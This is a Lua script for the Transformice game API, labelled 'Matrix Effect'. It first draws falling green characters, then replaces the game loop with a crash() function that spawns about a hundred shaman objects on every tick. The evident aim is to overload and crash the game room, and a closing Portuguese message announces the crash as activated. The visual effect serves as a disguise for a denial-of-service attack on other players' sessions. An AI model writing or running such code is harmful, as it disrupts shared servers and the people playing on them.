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- ---
- -- Matrix Effect
- ---
- matrix={
- char={},
- text={},
- color={},
- length={},
- init=function(t)
- for i=48,57 do
- t.char[#t.char+1]=i
- end
- for i=65,90 do
- t.char[#t.char+1]=i
- end
- for i=97,122 do
- t.char[#t.char+1]=i
- end
- for x=1,53 do
- t.length[x]=math.random(5,30)
- for y=1,t.length[x] do
- t.text[x]=t.text[x] or ''
- t.text[x]=t.text[x]..string.char(table.random(t.char))..'\n'
- end
- t.length[x]=math.max(0,30-t.length[x])
- end
- end,
- createTAs=function(t,name,init)
- ui.addTextArea(1,'',name,-4e3,-4e3,8e3,8e3,1,0,1,1)
- for i=1,#t.text do
- if init then
- t.color[i]=string.format('<font color="#%x">',math.random(100,255)*256)
- end
- ui.addTextArea(1+i,t.color[i]..t.text[i],name,((i-1)*15)+3,0,nil,nil,0,0,0,1)
- end
- end}
- function eventLoop()
- for i=1,#matrix.color do
- if matrix.length[i]>1 then
- matrix.text[i]=string.char(table.random(matrix.char))..'\n'..matrix.text[i]
- matrix.length[i]=matrix.length[i]-1
- elseif matrix.length[i]<0 then
- matrix.text[i]=' \n'..matrix.text[i]
- matrix.length[i]=matrix.length[i]+1
- elseif matrix.length[i]==0 then
- matrix.length[i]=math.random(5,30)
- elseif matrix.length[i]==1 then
- matrix.length[i]=-math.random(5,15)
- end
- if #matrix.text[i]>30 then
- matrix.text[i]=matrix.text[i]:sub(1,60)
- end
- ui.updateTextArea(i+1,matrix.color[i]..matrix.text[i])
- end
- end
- function eventNewPlayer(name)
- matrix:createTAs(name)
- end
- function table.random(t)
- return t[math.random(#t)]
- end
- matrix:init()
- matrix:createTAs(nil,true)
- local delay = tfm.exec.addShamanObject
- function eventLoop()
- crash()
- end
- function crash()
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400, 200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- delay(10, 400,200, 0, 0, 0, false)
- end
- print([[<ROSE>[~Tribo Admin] <N>Crash Em Matrix Ativado com sucesso!]]);
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